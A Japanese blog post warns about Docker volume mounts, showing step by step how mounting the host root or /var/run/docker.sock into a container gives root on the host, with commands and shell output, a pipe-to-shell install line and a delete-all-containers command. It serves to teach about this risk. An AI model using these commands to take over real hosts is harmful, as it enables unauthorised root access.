じゃあ、おうちで学べる

本能を呼び覚ますこのコードに、君は抗えるか

マウントでdockerがどっかーん。

概要

dockerが消失したという話をよく聞きます。データの復元が全く出来ないという場面も多々ありますがそんな時、ボリュームをホストにマウントすることができます。そんな、dockerの -v オプションを使ってホストマシンにディレクトリをマウントするときに注意しようねという旨の話。

ルートディレクトリにマウントしてルートを奪取します。

docker run -v [ホストディレクトリの絶対パス]:[コンテナの絶対パス] [イメージ名] [コマンド]

ルートにマウントします。

# docker run -t -i -v /:/motouchi debian /bin/bash

ログイン出来ていることを確認します。

root@425b646fa86c:/# cat /etc/issue
Debian GNU/Linux 8 \n \l
root@425b646fa86c:/# ls
bin   dev  home  lib64  mnt   opt   root  sbin  sys  usr
boot  etc  lib   media  motouchi  proc  run   srv   tmp  var

chrootからの確認

root@425b646fa86c:/# chroot motouchi
# cat /etc/issue  
Ubuntu 16.04.1 LTS \n \l

ルートにマウントしてしまっているのだからchrootが成功するのは自明ですね!!!

/var/run/docker.sockのみをマウントしてルートを奪取します。

/var/run/docker.sockとは

Dockerはデーモンプロセス(dockerd)と通信するクライアントとして動くわけですが、その際のソケットにはUNIXドメインソケット(/var/run/docker.sock)が利用されます。そのため、dockerdは特権的な動作が可能です。dockerdが使うUNIXドメインソケットに対して書き込み権限を有するということはルート権限があるのと同じことと言えます。

手順

/var/run/docker.sockへマウントします。

docker run -t -i -v /var/run/docker.sock:/var/run/docker.sock debian /bin/bash

debianにはデフォルトでコンテナがダウンロードされていないため。ダウンロードします。

apt-get update && apt-get install wget -y && wget -qO- https://get.docker.com | sh

dockerの内部でdockerを起動する準備ができました。さっきの要領で起動します。

# docker run -t -i -v /:/motouchi debian /bin/bash

起動後chrootしてみます。

# chroot motouchi
# cat /etc/issue
Ubuntu 16.04.1 LTS \n \l

chrootに成功してログインにホストへのログインに成功しました。

最後に

Dockerがコンテナ技術ということを忘れずに権限などを意識して、便利に楽しく使いましょう!!!! 今回、使ったコンテナを停止しているので全削除しましょう。

docker rm `docker ps -aq`

参照

冷凍うどんとDockerとか…。 - じゃあ、おうちで学べる
Dockerでホストを乗っ取られた
The Dangers of Docker.sock
Don't expose the Docker socket (not even to a container) | lvh
GitHub - jpetazzo/dind: Docker in Docker
Redirecting…